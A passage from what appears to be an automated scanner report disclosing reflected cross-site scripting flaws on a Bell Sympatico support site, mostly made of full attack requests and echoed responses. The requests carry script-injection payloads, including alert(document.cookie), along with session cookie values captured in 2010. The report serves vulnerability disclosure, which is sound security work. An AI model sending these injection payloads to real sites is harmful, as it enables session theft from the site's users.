anding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:44 GMT
Connection: close
Set-Cookie: SMSESSION=qVALIUkBxB6W+Sk1qJUhIfG5dVMQRoF+RrKJ/GJw3s1o4t4Jd2xGqZeRd0k4EcvZupCKQ1rLBYpeZD/9TFbgEbnIBcJl1vEAcE9KDeb5gsg21Kunup3cuogI0KJmemNk0EqF7M0SDXvS8Dc3RjnSie2rqnJ3U/Q8hT1YvOYpo2QR9LOTSahyJpGn97vkAhtRAApqGxkrZKyxuJ+0X9sEYLJWT6B+LHIpTWx5TerLzqmzHY7rpTaPjdFmSeUHor5uyu+6Frs/O8QamPvwbpMCrn3GPeN7EVIManI1VVU9YvmlcEF6bwU8hQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:44 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:44 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/tooltip.cssefe7b"><script>alert(1)</script>3913fa5f9fe" />
...[SNIP]...

2.244. https://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/txtBoxes.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f976"><script>alert(1)</script>e8ca2c4a272 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css3f976"><script>alert(1)</script>e8ca2c4a272/txtBoxes.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:43 GMT
Connection: close
Set-Cookie: SMSESSION=un+ZO88ZUxLKiYWg/qz6ioFPMZ+LnXULgRqot9BdAvW5gnLKXPgvCRM7hfoYVZ2RjregrhFqEqkxhIGndSNrE5kKkNJiF3X2H3x0c+4UH/nQzYzPC7bfvvU0NpmRVKKx0gpPiRr9zIqYhCdyNaS3/9vkw1bz0jdSQgJZH60AVCGinR09omOVtlSDUwbEa64vZ6P+fXgkOYqRBi7IR2qVoW27TbgMZt2aeGcm9Wl1TOwsnDwo6S17e/G2Oh8jnJ6xMVRIpYHcgUvUpQJnzqa0umDQBDCBMOoXXdpO32OK2qF1BqO8j1+rUw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:43 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:43 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css3f976"><script>alert(1)</script>e8ca2c4a272/txtBoxes.css" />
...[SNIP]...

2.245. https://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/txtBoxes.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9cca"><script>alert(1)</script>fa1505b5949 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/txtBoxes.cssc9cca"><script>alert(1)</script>fa1505b5949 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:46 GMT
Connection: close
Set-Cookie: SMSESSION=oMlh9yX2ZNo1ZDpQ4SdvYgHg0/0Z35xPTph8T1vlG3e7jWHVC+S31stXYnn/Hj4GIsOQKyJedtVN426MD257fxFTDBFXeQgmMlb4xLvYHHwn4h6db2jHeuW1GXJlv0KVdZnWQ0tx0KeqAy7BlXtc5vSOv2q4CnLHA+wu/nI9PnM+Vesvh3oBK7OZdd1RnsjJ9aRTg8Rba/SVPLSH+fyZ9x4fUw7CsOMAPkmW0lZFJzvTSh/n6R1q2I6G3D4Wj0OPGVW21E907MwQ3jcy/qcCIYh114uKo2oAgeHXLouhgoJBEvOttc7xFw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
idden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/txtBoxes.cssc9cca"><script>alert(1)</script>fa1505b5949" />
...[SNIP]...

2.246. https://service.sympatico.ca/index.cfm [44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.24.2010.SERVICE.BELL.CA parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of the 44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.24.2010.SERVICE.BELL.CA request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4f8f"><script>alert(1)</script>6c8df27c25a was submitted in the 44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.24.2010.SERVICE.BELL.CA parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.24.2010.SERVICE.BELL.CA=1f4f8f"><script>alert(1)</script>6c8df27c25a HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3